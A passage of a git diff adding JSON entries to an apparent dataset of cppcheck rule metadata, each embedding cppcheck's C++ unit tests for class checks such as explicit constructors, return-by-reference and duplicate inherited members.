tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqRetRefThis.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqRetRefThis.json new file mode 100644 index 0000000..54bd624 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqRetRefThis.json @@ -0,0 +1,28 @@ +{ + "name": "operatorEqRetRefThis", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 15, + "branches": 5, + "apis": 13, + "test": [ + { + "description": null, + "expected-problems": 7, + "expected-linenumbers": [ + 1219, + 1417, + 1519, + 1580, + 1590, + 1642, + 1658 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct 